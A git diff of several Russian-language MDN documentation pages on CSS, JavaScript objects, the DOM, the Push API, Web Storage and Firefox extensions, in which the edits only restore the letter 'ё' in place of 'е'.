      Пустое пространство означает фактические пробелы, табуляцию, а также новые строки. Вы можете использовать их, чтобы сделать ваш код более читабельным.
      
 
-
      В макете страницы, данное пространство — это та часть, которая остается без опознавательных знаков: отступы от других элементов (margin) и пространство между колонками и строками.
      
+
      В макете страницы, данное пространство — это та часть, которая остаётся без опознавательных знаков: отступы от других элементов (margin) и пространство между колонками и строками.
      
 
-
      Ваш пример файла CSS в настоящее время имеет правила в одной строке, и почти минимум пробелов. В комплексе стилей эта схема будет усложнять читаемость, а значит в нее будет трудно вносить изменения.
      
+
      Ваш пример файла CSS в настоящее время имеет правила в одной строке, и почти минимум пробелов. В комплексе стилей эта схема будет усложнять читаемость, а значит в неё будет трудно вносить изменения.
      
 
 
      Стиль написания который вы выбираете, как правило, зависит от личных предпочтений, но если ваши css являются частью общих проектов, могут возникнуть трудности с понимаем вашего написания кода.
      
 
@@ -119,7 +119,7 @@ h1, h2, h3 {color: navy;}
 p {color: blue;}
    5. -
  5. Сделайте его более читабельным, перестраивая его таким образом, какой будете считать более логичным и применяя пробелы и комментарии на свое усмотрение.
    6. +
  6. Сделайте его более читабельным, перестраивая его таким образом, какой будете считать более логичным и применяя пробелы и комментарии на своё усмотрение.
  7. Сохраните файл и обновите экран браузера, чтобы убедиться, что ваши изменения не повлияли на роботу стилей: @@ -164,4 +164,4 @@ One way to do this is to put comment delimiters around the rule for .carro

    Что дальше?

    -

    {{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles", "Text styles") }}Ваш образец таблицы стилей использовал курсивный текст и подчеркнутый текст. На следующей странице описаны несколько способов, чтобы указать внешний вид текста в вашем документе.

    +

    {{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles", "Text styles") }}Ваш образец таблицы стилей использовал курсивный текст и подчёркнутый текст. На следующей странице описаны несколько способов, чтобы указать внешний вид текста в вашем документе.

    diff --git a/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html b/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html index 05b7c9e54c..218c8bc90d 100644 --- a/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html +++ b/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html @@ -22,7 +22,7 @@ original_slug: Web/Guide/CSS/Getting_started/Why_use_CSS

    Информация: Зачем нужен CSS?

    -

    CSS используется для определения стилей ваших документов, в том числе дизайна, верстки и вариаций макета для различных устройств и размеров экрана. Вы можете разместить стили CSS внутри тега <HEAD> документа с встроенной таблицей стилей, или приложить отдельный CSS-файл, который будет определять ваши стили извне. Чтобы привязать внешнюю таблицу стилей к документу, просто добавьте ссылку на таблицу стилей в заголовке <HEAD> документа.

    +

    CSS используется для определения стилей ваших документов, в том числе дизайна, вёрстки и вариаций макета для различных устройств и размеров экрана. Вы можете разместить стили CSS внутри тега <HEAD> документа с встроенной таблицей стилей, или приложить отдельный CSS-файл, который будет определять ваши стили извне. Чтобы привязать внешнюю таблицу стилей к документу, просто добавьте ссылку на таблицу стилей в заголовке <HEAD> документа.

    У внешней таблицы стилей есть множество преимуществ. Сохранение стилей отдельно от содержания HTML:

    @@ -35,7 +35,7 @@ original_slug: Web/Guide/CSS/Getting_started/Why_use_CSS
    Пример
    -

    Используя CSS, вы храните информацию о стилях в общих файлах, которые доступны всем страницам. Например, когда документы ссылаются на те таблицы стилей, которые определяют цвет заголовков h2, вы можете применить стиль для тегов заголовков h2 на глобальном уровне путем изменения одного атрибута CSS.

    +

    Используя CSS, вы храните информацию о стилях в общих файлах, которые доступны всем страницам. Например, когда документы ссылаются на те таблицы стилей, которые определяют цвет заголовков h2, вы можете применить стиль для тегов заголовков h2 на глобальном уровне путём изменения одного атрибута CSS.

    Когда пользователь открывает веб-страницу, браузер загружает информацию стиля вместе с содержанием страницы.

    diff --git a/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html b/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html index b34e9ae78a..39d6ffe3a1 100644 --- a/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html +++ b/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html @@ -35,7 +35,7 @@ original_slug: Web/Guide/CSS/Getting_started/What_is_CSS
    -

    В этом руководстве блоки с заголовком Подробнее, как нижеследующий, содержат дополнительную информацию и ссылки на ресурсы, позволяющие более глубоко изучить вопрос, которому посвящен тот или иной раздел. Вы можете сразу же воспользоваться этими материалами или же пропустить эти блоки и вернуться к ним позже.

    +

    В этом руководстве блоки с заголовком Подробнее, как нижеследующий, содержат дополнительную информацию и ссылки на ресурсы, позволяющие более глубоко изучить вопрос, которому посвящён тот или иной раздел. Вы можете сразу же воспользоваться этими материалами или же пропустить эти блоки и вернуться к ним позже.

    Подробнее
    @@ -44,7 +44,7 @@ original_slug: Web/Guide/CSS/Getting_started/What_is_CSS

    Со страницей, которую вы сейчас читаете, дела обстоят немного сложнее. Когда ваш браузер запрашивает данную страницу, сервер обращается к базе данных и генерирует документ, собирая его по частям из нескольких документов, каждый из которых, в свою очередь, может располагаться в нескольких файлах. Однако в этом руководстве вы также сможете работать с документами, каждый из которых представлен одним файлом.

    -

    Больше информации о документах и языках разметки вы найдете в других разделах этого сайта:

    +

    Больше информации о документах и языках разметки вы найдёте в других разделах этого сайта:

    @@ -83,7 +83,7 @@ original_slug: Web/Guide/CSS/Getting_started/What_is_CSS
    1. Создайте новую папку на вашем компьютере для упражнений.
    2. Откройте текстовый редактор и создайте новый текстовый файл. Этот файл будет содержать документ для нескольких следующих упражнений.
      3. -
    3. Скопируйте и вставьте HTML, приведенный ниже, а затем сохраните ваш файл под именем doc1.html. +
    4. Скопируйте и вставьте HTML, приведённый ниже, а затем сохраните ваш файл под именем doc1.html. 
      <!DOCTYPE html>
 <html>
   <head>
diff --git a/files/ru/conflicting/learn/css/first_steps/index.html b/files/ru/conflicting/learn/css/first_steps/index.html
index b3333c936c..2cfb1cb428 100644
--- a/files/ru/conflicting/learn/css/first_steps/index.html
+++ b/files/ru/conflicting/learn/css/first_steps/index.html
@@ -18,7 +18,7 @@ translation_of: Learn/CSS/First_steps
 translation_of_original: Web/Guide/CSS/Getting_started
 original_slug: Web/Guide/CSS/Getting_started
 ---
-
      Это руководство (самоучитель) познакомит вас с базовыми возможностями и языком (синтаксисом) Каскадных таблиц стилей (CSS). CSS используется для изменения внешнего вида структурированного документа, такого как веб-страница. Руководство также включает простые упражнения, которые вы сможете выполнить на своем компьютере и увидеть, как работает CSS, а также его возможности в современных браузерах. 
      
+
      Это руководство (самоучитель) познакомит вас с базовыми возможностями и языком (синтаксисом) Каскадных таблиц стилей (CSS). CSS используется для изменения внешнего вида структурированного документа, такого как веб-страница. Руководство также включает простые упражнения, которые вы сможете выполнить на своём компьютере и увидеть, как работает CSS, а также его возможности в современных браузерах. 
      
 
 
      Данное руководство создано для новичков и всех, кто хотел бы освежить свои знания основ CSS. Если у вас уже есть опыт работы с CSS, на главной странице вы можете найти список обучающих ресурсов, подходящих для вашего уровня.
      
 
@@ -46,7 +46,7 @@ original_slug: Web/Guide/CSS/Getting_started
 
 
      Чтобы проверить усвоенные знания, вам будет полезно решить задачу в конце каждой страницы. Верные решения задач вы всегда можете найти под их описанием в виде ссылки - таким образом, вы не сможете увидеть их случайно.
      
 
-
      Чтобы добиться более глубокого понимания CSS, читайте информацию в блоках с заголовком Подробнее. А также не забудьте посетить приведенные там ссылки.
      
+
      Чтобы добиться более глубокого понимания CSS, читайте информацию в блоках с заголовком Подробнее. А также не забудьте посетить приведённые там ссылки.
      
 
 
      Часть II: Возможности CSS
      
 
diff --git a/files/ru/conflicting/learn/javascript/objects/index.html b/files/ru/conflicting/learn/javascript/objects/index.html
index 4d59e1fbfe..441500dbc0 100644
--- a/files/ru/conflicting/learn/javascript/objects/index.html
+++ b/files/ru/conflicting/learn/javascript/objects/index.html
@@ -17,7 +17,7 @@ original_slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript
 
 
      ООП представляет программное обеспечение как совокупность взаимодействующих объектов, а не набор функций или просто список команд (как в традиционном представлении). В ООП, каждый объект может получать сообщения, обрабатывать данные, и отправлять сообщения другим объектам. Каждый объект может быть представлен как маленькая независимая машина с отдельной ролью или ответственностью.
      
 
-
      ООП способствует большей гибкости и поддерживаемости в программировании, и широко распространена в крупномасштабном программном инжиниринге. Так как ООП настоятельно подчеркивает модульность, объектно-ориентированный код проще в разработке и проще для понимания впоследствии. Объектно-ориентированный код способствует более точному анализу, кодированию и пониманию сложных ситуаций и процедур, чем методы программирования с меньшей модульностью.1
      
+
      ООП способствует большей гибкости и поддерживаемости в программировании, и широко распространена в крупномасштабном программном инжиниринге. Так как ООП настоятельно подчёркивает модульность, объектно-ориентированный код проще в разработке и проще для понимания впоследствии. Объектно-ориентированный код способствует более точному анализу, кодированию и пониманию сложных ситуаций и процедур, чем методы программирования с меньшей модульностью.1
      
 
 
      Терминология
      
 
@@ -146,7 +146,7 @@ var person2 = new Person();
 
 
      Конструктор
      
 
-
      Конструктор вызывается в момент создания экземпляра класса (в тот самый момент, когда создается объект). Конструктор является методом класса. В JavaScript функция служит конструктором объекта, поэтому нет необходимости явно определять метод конструктор. Любое действие определенное в конструкторе будет выполнено в момент создания экземпляра класса.
      
+
      Конструктор вызывается в момент создания экземпляра класса (в тот самый момент, когда создаётся объект). Конструктор является методом класса. В JavaScript функция служит конструктором объекта, поэтому нет необходимости явно определять метод конструктор. Любое действие определённое в конструкторе будет выполнено в момент создания экземпляра класса.
      
 
 
      Конструктор используется для задания свойств объекта или для вызова методов, которые подготовят объект к использованию. Добавление методов и их описаний производится с использованием другого синтаксиса, описанного далее в этой статье.
      
 
@@ -273,7 +273,7 @@ function Student(firstName, subject) {
 };
 
 // Создаём объект Student.prototype, который наследуется от Person.prototype.
-// Примечание: Распространенная ошибка здесь, это использование "new Person()", чтобы создать
+// Примечание: Распространённая ошибка здесь, это использование "new Person()", чтобы создать
 // Student.prototype. Это неверно по нескольким причинам, не в последнюю очередь
 // потому, что нам нечего передать в Person в качестве аргумента "firstName"
 // Правильное место для вызова Person показано выше, где мы вызываем
diff --git a/files/ru/conflicting/mdn/contribute/index.html b/files/ru/conflicting/mdn/contribute/index.html
index 9a6e9e139b..781b4d80ae 100644
--- a/files/ru/conflicting/mdn/contribute/index.html
+++ b/files/ru/conflicting/mdn/contribute/index.html
@@ -12,7 +12,7 @@ original_slug: MDN_at_ten/Contributing_to_MDN
 
      
 
      Как принять участие
      
 
-
      Внести свой вклад в MDN очень просто, и есть два способа начать работу. Вы видите страницу, которую можно улучшить (исправив опечатку, добавив новую информацию или исправив технические ошибки)? Просто нажмите большую синюю кнопку "Редактировать" в верхней части страницы. Вы знаете что-то, чего мы еще не освещаем? Просто создайте новую страницу; наше сообщество замечательных обозревателей и редакторов позаботится о том, чтобы ваша страница соответствовала нашему руководству по оформлению и находилась в нужном месте на сайте. Не переживайте из-за того, чтобы получилось «полностью правильно». Каждый может помочь сделать Интернет лучше.
      
+
      Внести свой вклад в MDN очень просто, и есть два способа начать работу. Вы видите страницу, которую можно улучшить (исправив опечатку, добавив новую информацию или исправив технические ошибки)? Просто нажмите большую синюю кнопку "Редактировать" в верхней части страницы. Вы знаете что-то, чего мы ещё не освещаем? Просто создайте новую страницу; наше сообщество замечательных обозревателей и редакторов позаботится о том, чтобы ваша страница соответствовала нашему руководству по оформлению и находилась в нужном месте на сайте. Не переживайте из-за того, чтобы получилось «полностью правильно». Каждый может помочь сделать Интернет лучше.
      
 
      
 
 
      
@@ -32,7 +32,7 @@ original_slug: MDN_at_ten/Contributing_to_MDN
 
      
 
      Выборка профилей участников
      
 
-
      MDN состоит из огромного сообщества участников. Хотя мы не можем предложить профили всех из них (это было бы очень долго!), Мы можем рассказать кое-что о некоторых из тех, кто внес существенный или важный вклад, а также о тех, кто скорее всего, будет доступен в чате MDN Web Docs, чтобы помочь вам, если вам понадобится помощь в вашем участии.
      
+
      MDN состоит из огромного сообщества участников. Хотя мы не можем предложить профили всех из них (это было бы очень долго!), Мы можем рассказать кое-что о некоторых из тех, кто внёс существенный или важный вклад, а также о тех, кто скорее всего, будет доступен в чате MDN Web Docs, чтобы помочь вам, если вам понадобится помощь в вашем участии.
      
 
 
      
 
      
@@ -59,7 +59,7 @@ original_slug: MDN_at_ten/Contributing_to_MDN
 
      Julien (Sphinx)
      
  Доброволец
      
 
-
      Julien внес «львиную долю» усилий на перевод всего раздела JavaScript в MDN на французский язык. Многие другие участники также помогли в этой работе, но  Julien  провел много ночей и выходных в течение нескольких месяцев, переводя статьи на JavaScript.
      
+
      Julien внёс «львиную долю» усилий на перевод всего раздела JavaScript в MDN на французский язык. Многие другие участники также помогли в этой работе, но  Julien  провёл много ночей и выходных в течение нескольких месяцев, переводя статьи на JavaScript.
      
 
 
      Jeff Walden
      
  Software Engineer, JavaScript Engine
      
@@ -71,12 +71,12 @@ original_slug: MDN_at_ten/Contributing_to_MDN
 
      Priyanka Nag
      
  Доброволец
      
 
-
      Priyanka Nag присоединилась к MDN в 2012 году, но стала активно работать с сообществом MDN только после саммита Mozilla в 2013 году, где она встретилась и работала с Luke Crouch и David Walsh из команды разработчиков MDN; это послужило ее главным вдохновением, чтобы начать вносить свой вклад в MDN. Priyanka в основном любит проповедовать MDN, проводить мероприятия MDN и знакомить с MDN больше людей, а также время от времени вносить некоторые правки в вики. В настоящее время она работает техническим писателем в Red Hat и с гордостью утверждает, что ее интерес к техническому писательству начался с ее вклада в MDN, который в конечном итоге оказал большое влияние на ее решение о карьере.
      
+
      Priyanka Nag присоединилась к MDN в 2012 году, но стала активно работать с сообществом MDN только после саммита Mozilla в 2013 году, где она встретилась и работала с Luke Crouch и David Walsh из команды разработчиков MDN; это послужило её главным вдохновением, чтобы начать вносить свой вклад в MDN. Priyanka в основном любит проповедовать MDN, проводить мероприятия MDN и знакомить с MDN больше людей, а также время от времени вносить некоторые правки в вики. В настоящее время она работает техническим писателем в Red Hat и с гордостью утверждает, что её интерес к техническому писательству начался с её вклада в MDN, который в конечном итоге оказал большое влияние на её решение о карьере.
      
 
 
      Saurabh Nair
      
  Доброволец
      
 
-
      Saurabh он вносит свой вклад в MDN с 2011 года и стал более активным в прошлом году. Он входит в команду “spam watch”, которая следит за спам-страницами, удаляя их и запрещая спамеров, как только они появляются. Поскольку он живет в Индии, он может делать это, пока сотрудники MDN в Европе и Северной Америке спят.
      
+
      Saurabh он вносит свой вклад в MDN с 2011 года и стал более активным в прошлом году. Он входит в команду “spam watch”, которая следит за спам-страницами, удаляя их и запрещая спамеров, как только они появляются. Поскольку он живёт в Индии, он может делать это, пока сотрудники MDN в Европе и Северной Америке спят.
      
 
 
      Eric Shepherd (Sheppy)
      
  Senior Technical Writer
      
diff --git a/files/ru/conflicting/mozilla/add-ons/index.html b/files/ru/conflicting/mozilla/add-ons/index.html
index 11dde5714b..09e3f37570 100644
--- a/files/ru/conflicting/mozilla/add-ons/index.html
+++ b/files/ru/conflicting/mozilla/add-ons/index.html
@@ -129,7 +129,7 @@ original_slug: Building_an_Extension
  
    5. название chrome пакета (удостоверьтесь, что Вы используете все символы в нижнем регистре для имени пакета ("sample"), так как во 2-й версии не поддерживается смешанные регистры и вы получите ошибку {{ Bug(132183) }}
      6. 
  
    6. местоположение файлов chrome пакета
      7.
    -

    Эта строка говорит, что для chrome пакета с именем sample, файлы информационного наполнения находятся в chrome/content, который является путем относительно местоположения chrome.manifest.

    +

    Эта строка говорит, что для chrome пакета с именем sample, файлы информационного наполнения находятся в chrome/content, который является путём относительно местоположения chrome.manifest.

    Заметьте, что content, locale и skin должны быть сохранены как каталоги, с соответствующими именами content, locale и skin в подкаталоге chrome.

    Сохраните файл. Когда Вы запустите Firefox со своим расширением, (это будет позже в данном уроке), chrome пакет будет зарегистрирован.

    Регистрация Оверлея

    @@ -150,8 +150,8 @@ original_slug: Building_an_Extension

    Запустите Firefox. Firefox обнаружит ссылку на каталог вашего расширения и установит его. Когда появится окно браузера вы должны увидеть текст "Hello, World!" на правой стороне в панели статуса.

    Вы можете вернуться и внести необходимые изменения в .xul файл, после чего закрыть и перезапустить Firefox и изменения немедленно вступят в силу.

    Упаковка

    -

    Теперь, когда ваше расширение работает, вы можете его упаковать для последующего развертывания и установки.

    -

    За "зипуйте" папку contents вашего Расширения (не саму папку расширения), и переименуйте получившийся zip файл, так чтобы он имел расширение .xpi. В Windows XP, вы можете сделать это очень просто, выбрав все файлы и вложенные папки в папке вашего расширения, и щелкнув правой кнопкой мыши и выбрав "Send To -> Compressed (Zipped) Folder". Zip файл будет создан. Просто переименуйте его, и готово!

    +

    Теперь, когда ваше расширение работает, вы можете его упаковать для последующего развёртывания и установки.

    +

    За "зипуйте" папку contents вашего Расширения (не саму папку расширения), и переименуйте получившийся zip файл, так чтобы он имел расширение .xpi. В Windows XP, вы можете сделать это очень просто, выбрав все файлы и вложенные папки в папке вашего расширения, и щёлкнув правой кнопкой мыши и выбрав "Send To -> Compressed (Zipped) Folder". Zip файл будет создан. Просто переименуйте его, и готово!

    В Mac OS X, вы можете нажать правой кнопкой мыши на папке contents вашего Расширения и выбрать "Создать архив ..." для создания архива. Однако, Mac OS X добавляет скрытые файлы в папку. Поэтому следует использовать Terminal, для удаления скрытых файлов (чьи имена начинаются с периода), а затем ввести в командной строке zip команду для создания архива.

    В Linux, вы аналогичным образом можете использовать в командной строке Zip инструменты.

    Если у вас установлено Extension Builder вы можете использовать его для сборки .xpi файла (Tools -> Extension Developer -> Extension Builder). Просто выберите каталог, где находится ваше расширение (install.rdf т.д.), и нажмите кнопку Build Extension (Построить расширение). Это расширение имеет множество инструментов для облегчения процесса создания расширений.

    diff --git a/files/ru/conflicting/mozilla/firefox/releases/index.html b/files/ru/conflicting/mozilla/firefox/releases/index.html index 7fbfd3fe07..d5066a55be 100644 --- a/files/ru/conflicting/mozilla/firefox/releases/index.html +++ b/files/ru/conflicting/mozilla/firefox/releases/index.html @@ -121,7 +121,7 @@ original_slug: Tools/Release_notes
    • Редактор шейдеров позволяет просматривать и редактировать шейдеры WebGL
      • -
    • Возможность поставить точку остановки в дебаггере на определенное DOM событие которое Вам нужно отловить
      • +
    • Возможность поставить точку остановки в дебаггере на определённое DOM событие которое Вам нужно отловить
    • Редактирование HTML в Инспекторе
    • See color swatches and background images in the Inspector's Rules view
    • The Web Веб консольConsole now logs reflow events
      • diff --git a/files/ru/conflicting/tools/performance/index.html b/files/ru/conflicting/tools/performance/index.html index b28bb78ca3..6b578829f1 100644 --- a/files/ru/conflicting/tools/performance/index.html +++ b/files/ru/conflicting/tools/performance/index.html @@ -71,7 +71,7 @@ Sample C: doSomething() > logTheValue()

      Панель разделена на две части:

        -
      • Левая сторона содержит список всех записанных профилей и позволяет загрузить любой из них. Ниже находятся две кнопки: stopwatch позволяет записать новый профиль, в то время как import... позволяет импортировать ранее сохраненные данные. Когда профиль выбран, вы можете сохранить его данные как файл в формате JSON нажав на кнопке Save.
        • +
      • Левая сторона содержит список всех записанных профилей и позволяет загрузить любой из них. Ниже находятся две кнопки: stopwatch позволяет записать новый профиль, в то время как import... позволяет импортировать ранее сохранённые данные. Когда профиль выбран, вы можете сохранить его данные как файл в формате JSON нажав на кнопке Save.
      • Правая сторона показывает текущий загруженный профиль.
      diff --git a/files/ru/conflicting/web/api/document_object_model/index.html b/files/ru/conflicting/web/api/document_object_model/index.html index def3b15b61..1432597b41 100644 --- a/files/ru/conflicting/web/api/document_object_model/index.html +++ b/files/ru/conflicting/web/api/document_object_model/index.html @@ -35,7 +35,7 @@ original_slug: DOM
      Объектная модель документа Mozilla
      - Более старая документация по DOM, размещенная на mozilla.org.
      + Более старая документация по DOM, размещённая на mozilla.org.

      Посмотреть все...

      diff --git a/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html b/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html index ba7d7d07d8..7794d4e392 100644 --- a/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html +++ b/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html @@ -13,7 +13,7 @@ original_slug: Об_объектной_модели_документа

      Все свойства, методы и события, доступные веб-разработчику для манипулирования и создания веб-страниц организованы в объекты (например, объект document, который представляет сам документ, объект table, который представляет элементы HTML-таблицы, и т.д.). Эти объекты доступны через скриптовые языки в большинстве современных браузеров.

      -

      В основном DOM используется вместе с JavaScript. То есть код пишется на JavaScript, но он использует DOM для доступа к веб-странице и ее элементам. Тем не менее, DOM создавался, чтобы независимо от конкретных языков программирования имелась возможность доступа к структурному представлению документа через один API. Несмотря на то, что на этом сайте мы заострим внимание на JavaScript, реализации DOM могут быть созданы для любого языка.

      +

      В основном DOM используется вместе с JavaScript. То есть код пишется на JavaScript, но он использует DOM для доступа к веб-странице и её элементам. Тем не менее, DOM создавался, чтобы независимо от конкретных языков программирования имелась возможность доступа к структурному представлению документа через один API. Несмотря на то, что на этом сайте мы заострим внимание на JavaScript, реализации DOM могут быть созданы для любого языка.

      World Wide Web Consortium установил стандарт для DOM, называемый W3C DOM. Сейчас, когда большинство браузеров поддерживают этот стандарт, появилась возможность создавать мощные кросс-браузерные приложения.

      @@ -21,6 +21,6 @@ original_slug: Об_объектной_модели_документа

      "Динамический HTML" (DHTML) — это термин, под которым понимают совокупность HTML, CSS и скриптов, которые позволяют создавать анимированные веб-страницы. Поскольку Mozilla позиционирует свой продукт как "платформу для веб-приложений", поддержка DOM является очень важной и необходимой, чтобы Mozilla была достойной альтернативой другим браузерам.

      -

      Еще более важным фактом является то, что пользовательский интерфейс в Mozilla (а также в Firefox и Thunderbird) построен на XUL — языке разметки пользовательского интерфейса. Так что Mozilla использует DOM для изменения своего интерфейса.

      +

      Ещё более важным фактом является то, что пользовательский интерфейс в Mozilla (а также в Firefox и Thunderbird) построен на XUL — языке разметки пользовательского интерфейса. Так что Mozilla использует DOM для изменения своего интерфейса.

      {{ languages( { "es": "es/Acerca_del_Modelo_de_Objetos_del_Documento", "fr": "fr/\u00c0_propos_du_Document_Object_Model", "ja": "ja/About_the_Document_Object_Model", "ko": "ko/About_the_Document_Object_Model", "pl": "pl/O_modelu_obiektowym_dokumentu", "zh-cn": "cn/\u5173\u4e8e\u6587\u6863\u5bf9\u8c61\u6a21\u578b" } ) }}

      diff --git a/files/ru/conflicting/web/api/push_api/index.html b/files/ru/conflicting/web/api/push_api/index.html index da06239951..64f42942bb 100644 --- a/files/ru/conflicting/web/api/push_api/index.html +++ b/files/ru/conflicting/web/api/push_api/index.html @@ -21,7 +21,7 @@ original_slug: Web/API/Push_API/Using_the_Push_API

      -

      Чтобы запустить демо, следуйте инструкциям на странице push-api-demo README. Заметьте, что серверная компонента все еще нуждается в небольшой доработке для запуска в Chrome и в общем запускается более разумным путем. Но аспекты Push все еще могут быть полностью понятны; мы углубимся в это после того, как просмотрим технологии в процессе.

      +

      Чтобы запустить демо, следуйте инструкциям на странице push-api-demo README. Заметьте, что серверная компонента все ещё нуждается в небольшой доработке для запуска в Chrome и в общем запускается более разумным путём. Но аспекты Push все ещё могут быть полностью понятны; мы углубимся в это после того, как просмотрим технологии в процессе.

      Обзор технологии

      @@ -66,7 +66,7 @@ original_slug: Web/API/Push_API/Using_the_Push_API
    • Отправка данных на сервер, чтобы тот мог присылать push-сообщения, когда необходимо. Это демо использует {{domxref("XMLHttpRequest")}}, но вы можете использовать Fetch.
    • Если вы используете Channel Messaging API для связи с сервис воркером, установите новый канал связи ({{domxref("MessageChannel.MessageChannel()")}}) и отправьте port2 сервис воркеру с помощью вызова {{domxref("Worker.postMessage()")}} для того, чтобы открыть канал связи. Вы так же должны настроить обработчик ответов на сообщения, которые будут отправляться обратно с сервис воркера.
    • На стороне сервера сохраните конечную точку и все остальные необходимые данные, чтобы они были доступны, когда будет необходимо отправить push-сообщение добавленному подписчику (мы используем простой текстовый файл, но вы можете использовать базу данных или все что угодно на ваш вкус). В приложении на продакшене убедитесь, что скрываете эти данные, так что злоумышленники не смогут украсть конечную точку и разослать спам подписчикам в push-сообщениях.
      • -
    • Для отправки push-сообщений необходимо отослать HTTP POST конечному URL. Запрос должен включать TTL заголовок, который ограничивает время пребывания сообщения в очереди, если пользователь не в сети. Для добавления полезной информации в запросе, необходимо зашифровать ее (что включает публичный ключ клиента). В нашем примере мы используем web-push модуль, который управляет всей тяжелой работой.
      • +
    • Для отправки push-сообщений необходимо отослать HTTP POST конечному URL. Запрос должен включать TTL заголовок, который ограничивает время пребывания сообщения в очереди, если пользователь не в сети. Для добавления полезной информации в запросе, необходимо зашифровать её (что включает публичный ключ клиента). В нашем примере мы используем web-push модуль, который управляет всей тяжёлой работой.
    • Поверх в сервис воркере настройте обработчик событий push для ответов на полученные push-сообщения.
      1. Если вы хотите отвечать отправкой сообщения канала обратно основному контексту (смотри шаг 6), необходимо сначала получить ссылку на port2, который был отправлен контексту сервис воркера ({{domxref("MessagePort")}}). Это доступно в объекте  {{domxref("MessageEvent")}}, передаваемого обработчику onmessage ({{domxref("ServiceWorkerGlobalScope.onmessage")}}). Конкретнее, он находится в свойстве ports, индекс 0. Когда это сделано, вы можете отправить сообщение обратно port1, используя {{domxref("MessagePort.postMessage()")}}.
        2. @@ -77,7 +77,7 @@ original_slug: Web/API/Push_API/Using_the_Push_API

        Сборка демо

        -

        Давайте пройдемся по коду для демо, чтобы понять, как все работает.

        +

        Давайте пройдёмся по коду для демо, чтобы понять, как все работает.

        HTML и CSS

        @@ -113,7 +113,7 @@ nameInput.value = 'Bob';

        Сначала нам необходимо создать две булевы переменные, для того чтобы отслеживать подписку на push-сообщения и подтверждение разрешения на рассылку уведомлений.

        -

        Далее, мы перехватываем ссылку на {{htmlelement("button")}} подписки/отписки и задаем переменные для сохранения ссылок на наши кнопку отправки сообщения/ввода (который создастся только после успешной подписки).
        +

        Далее, мы перехватываем ссылку на {{htmlelement("button")}} подписки/отписки и задаём переменные для сохранения ссылок на наши кнопку отправки сообщения/ввода (который создастся только после успешной подписки).

        Следующие переменные перехватывают ссылки на три основные {{htmlelement("div")}} элемента, так что мы можем включить в них элементы (к примеру, когда появится кнопка Отправки Сообщения Чата или сообщение появится с писке Сообщений).

        diff --git a/files/ru/conflicting/web/api/web_storage_api/index.html b/files/ru/conflicting/web/api/web_storage_api/index.html index cbcff26342..cb20c00588 100644 --- a/files/ru/conflicting/web/api/web_storage_api/index.html +++ b/files/ru/conflicting/web/api/web_storage_api/index.html @@ -7,7 +7,7 @@ original_slug: Web/Guide/API/DOM/Storage ---

         

        -

        DOM хранилище (DOM Storage) - это название для набора инструментов, относящихся к хранилищам, впервые представленных в спецификации Web Applications 1.0,  и выделенных теперь в отдельную спецификацию W3C Web Storage. DOM хранилище было разработано с целью предоставления альтернативы хранению информации в кукисах. Предполагается, что DOM хранилище предоставляет больше объема, оно более защищено и легче в использовании. Впервые оно было представлено  в браузерах Firefox 2 и Safari 4.

        +

        DOM хранилище (DOM Storage) - это название для набора инструментов, относящихся к хранилищам, впервые представленных в спецификации Web Applications 1.0,  и выделенных теперь в отдельную спецификацию W3C Web Storage. DOM хранилище было разработано с целью предоставления альтернативы хранению информации в кукисах. Предполагается, что DOM хранилище предоставляет больше объёма, оно более защищено и легче в использовании. Впервые оно было представлено  в браузерах Firefox 2 и Safari 4.

        Заметка: DOM хранилище - это не то же самое, что mozStorage (Mozilla's XPCOM interfaces to SQLite) или Session store API (утилита XPCOM - хранилище для использования в расширениях).
        @@ -21,9 +21,9 @@ original_slug: Web/Guide/API/DOM/Storage

        Браузеры на основе Mozilla, Internet Explorer 8 +, Safari 4 + и Chrome обеспечивают рабочую реализацию спецификации DOM хранилища. (В случае, если нужна кросс-браузерная поддержка функциональности, включая более старые версии IE, будет полезно отметить, что IE также имеет подобную легаси функциональность под названием "USERDATA поведение", которая дополнение DOM хранилище IE в IE8.)

        -

        DOM хранилище удобно, потому что нет других хороших способов хранения разумных объемов данных за любой период времени, встроенных в браузер. Кукисы ограничены в количестве хранимой информации и не обеспечивают поддержку для организации постоянных данных, а другие методы (например, флэш-локальное хранилище) требуют плагина.

        +

        DOM хранилище удобно, потому что нет других хороших способов хранения разумных объёмов данных за любой период времени, встроенных в браузер. Кукисы ограничены в количестве хранимой информации и не обеспечивают поддержку для организации постоянных данных, а другие методы (например, флэш-локальное хранилище) требуют плагина.

        -

        Одним из первых известных приложений,  использующих новые функциональные возможности DOM хранилища(в дополнение к USERDATA поведения в Internet Explorer) было halfnote (приложение для заметок), написанное Аароном Будменом. В своем приложении, Аарон одновременно сохранял заметки на сервере (когда/если Интернет-подключение  был доступно) и локального хранилища данных(в обратном случае). Это дало возможность пользователю смело писать резервные копии заметок даже при нерегулярном подключении к Интернету.

        +

        Одним из первых известных приложений,  использующих новые функциональные возможности DOM хранилища(в дополнение к USERDATA поведения в Internet Explorer) было halfnote (приложение для заметок), написанное Аароном Будменом. В своём приложении, Аарон одновременно сохранял заметки на сервере (когда/если Интернет-подключение  был доступно) и локального хранилища данных(в обратном случае). Это дало возможность пользователю смело писать резервные копии заметок даже при нерегулярном подключении к Интернету.

        Хотя идея и реализация halfnote были сравнительно простыми, создание halfnote показывает возможность для нового поколения веб-приложений, которые можно использовать как в онлайн-, так и оффлайн- режиме.

        @@ -39,7 +39,7 @@ original_slug: Web/Guide/API/DOM/Storage

        Единицы globalStorage являются экземплярами StorageObsolete, а не Storage.

        -

